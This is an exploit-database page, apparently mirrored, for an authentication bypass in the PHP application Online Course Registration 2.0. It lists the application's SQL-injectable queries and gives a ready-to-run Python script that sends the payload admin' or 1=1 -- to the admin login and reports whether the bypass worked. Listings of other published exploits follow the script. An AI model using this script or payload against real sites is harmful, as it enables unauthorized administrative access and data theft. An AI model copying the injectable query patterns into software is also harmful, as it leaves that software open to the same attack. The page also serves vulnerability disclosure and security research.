Search for hundreds of thousands of exploits

"Online Course Registration 2.0 - Authentication Bypass"

Author

Exploit author

"Daniel Monzón"

Platform

Exploit platform

php

Release date

Exploit published date

2020-04-27

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# Exploit Title: Online Course Registration 2.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-04-25
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/online-course-registration-free-download/
# Version: 2.0
# Tested on: Kali Linux x64 5.4.0
# CVE : N/A

#There are multiple SQL injection vulnerabilities in Online Course Registration #PHP script:

#./check_availability.php:               $result =mysqli_query($con,"SELECT studentRegno FROM    courseenrolls WHERE course='$cid' and studentRegno=' $regid'");
#./check_availability.php:               $result =mysqli_query($con,"SELECT * FROM courseenrolls WHERE course='$cid'");
#./check_availability.php:               $result1 =mysqli_query($con,"SELECT noofSeats FROM course WHERE id='$cid'");
#./change-password.php:$sql=mysqli_query($con,"SELECT password FROM  students where password='".md5($_POST['cpass'])."' && studentRegno='".$_SESSION['login']."'");
#./admin/check_availability.php:         $result =mysqli_query($con,"SELECT StudentRegno FROM students WHERE StudentRegno='$regno'");
#./admin/change-password.php:$sql=mysqli_query($con,"SELECT password FROM  admin where password='".md5($_POST['cpass'])."' && username='".$_SESSION['alogin']."'");
#./admin/index.php:$query=mysqli_query($con,"SELECT * FROM admin WHERE username='$username' and password='$password'");
#./index.php:$query=mysqli_query($con,"SELECT * FROM students WHERE StudentRegno='$regno' and password='$password'");
#./includes/header.php:        $ret=mysqli_query($con,"SELECT  * from userlog where studentRegno='".$_SESSION['login']."' order by id desc limit 1,1");
#./pincode-verification.php:$sql=mysqli_query($con,"SELECT * FROM  students where pincode='".trim($_POST['pincode'])."' && StudentRegno='".$_SESSION['login']."'");

#It is also possible to bypass the authentication in the two login pages:
#!/usr/bin/python3
try:
   from termcolor import colored 
   from colorama import init
   import argparse
   import requests
except:
	print("Please run pip3 install termcolor,colorama,argparse,requests")

init()

symbol_green=colored("[+]", 'green') 
symbol_red=colored("[-]", 'red') 

parser = argparse.ArgumentParser()
parser.add_argument('url', help='The URL of the target.')
args = parser.parse_args()

adminurl = args.url + '/onlinecourse/admin/'



def main():
    initial='Online Course Registration Authentication Bypass in %s' % ( args.url ) + "\n"
    print(colored(initial, 'yellow'))
    sess = requests.session()
    data_login = {
    'username': "admin' or 1=1 -- ",
    'password': 'whatever',
    'submit': ''
}
    try:
        req = sess.post(adminurl, data=data_login, verify=False, allow_redirects=True)
        resp_code = req.status_code
    except:
    	print(symbol_red+" The request didn't work!\n")
    	exit()
    if resp_code == 200 and "document.chngpwd.cpass.value" in req.text:
       print(symbol_green+" Authentication bypassed for admin user!\n")
       print(symbol_green+" To test this manually, visit: " + adminurl+ " and enter: admin' or 1=1 -- in the username field and whatever in password field, then click the Log Me In button\n")

    else:
       print(symbol_red+" Fail!")

main()
Release DateTitleTypePlatformAuthor
2020-07-07"Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection"webappsphp"Mehmet Kelepçe"
2020-07-07"Sickbeard 0.1 - Remote Command Injection"webappshardwarebdrake
2020-07-07"Online Shopping Portal 3.1 - 'email' SQL Injection"webappsphpgh1mau
2020-07-07"BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation"webappsmultiple"William Summerhill"
2020-07-07"Microsoft Windows mshta.exe 2019 - XML External Entity Injection"remotexmlhyp3rlinx
2020-07-06"Grafana 7.0.1 - Denial of Service (PoC)"doslinuxmostwanted002
2020-07-06"Fire Web Server 0.1 - Remote Denial of Service (PoC)"doswindows"Saeed reza Zamanian"
2020-07-06"Nagios XI 5.6.12 - 'export-rrd.php' Remote Code Execution"webappsphp"Basim Alabdullah"
2020-07-06"File Management System 1.1 - Persistent Cross-Site Scripting"webappsphpKeopssGroup0day_Inc
2020-07-06"RiteCMS 2.2.1 - Authenticated Remote Code Execution"webappsphp"Enes Özeser"
Release DateTitleTypePlatformAuthor
2020-07-07"Online Shopping Portal 3.1 - 'email' SQL Injection"webappsphpgh1mau
2020-07-07"Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection"webappsphp"Mehmet Kelepçe"
2020-07-06"RiteCMS 2.2.1 - Authenticated Remote Code Execution"webappsphp"Enes Özeser"
2020-07-06"File Management System 1.1 - Persistent Cross-Site Scripting"webappsphpKeopssGroup0day_Inc
2020-07-06"Nagios XI 5.6.12 - 'export-rrd.php' Remote Code Execution"webappsphp"Basim Alabdullah"
2020-07-02"ZenTao Pro 8.8.2 - Command Injection"webappsphp"Daniel Monzón"
2020-07-01"PHP-Fusion 9.03.60 - PHP Object Injection"webappsphpcoiffeur
2020-07-01"Online Shopping Portal 3.1 - Authentication Bypass"webappsphp"Ümit Yalçın"
2020-07-01"e-learning Php Script 0.1.0 - 'search' SQL Injection"webappsphpKeopssGroup0day_Inc
2020-06-30"Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting"webappsphp"Anushree Priyadarshini"
Release DateTitleTypePlatformAuthor
2020-07-02"ZenTao Pro 8.8.2 - Command Injection"webappsphp"Daniel Monzón"
2020-05-21"OpenEDX platform Ironwood 2.5 - Remote Code Execution"webappsmultiple"Daniel Monzón"
2020-05-18"Online Healthcare Patient Record Management System 1.0 - Authentication Bypass"webappsphp"Daniel Monzón"
2020-04-27"Online Course Registration 2.0 - Authentication Bypass"webappsphp"Daniel Monzón"
2020-04-13"Wordpress Plugin Media Library Assistant 2.81 - Local File Inclusion"webappsphp"Daniel Monzón"
2020-03-12"Wordpress Plugin Appointment Booking Calendar 1.3.34 - CSV Injection"webappsphp"Daniel Monzón"
2020-03-11"Wordpress Plugin Search Meter 2.13.2 - CSV injection"webappsphp"Daniel Monzón"
2020-01-31"Lotus Core CMS 1.0.1 - Local File Inclusion"webappsphp"Daniel Monzón"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48385/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.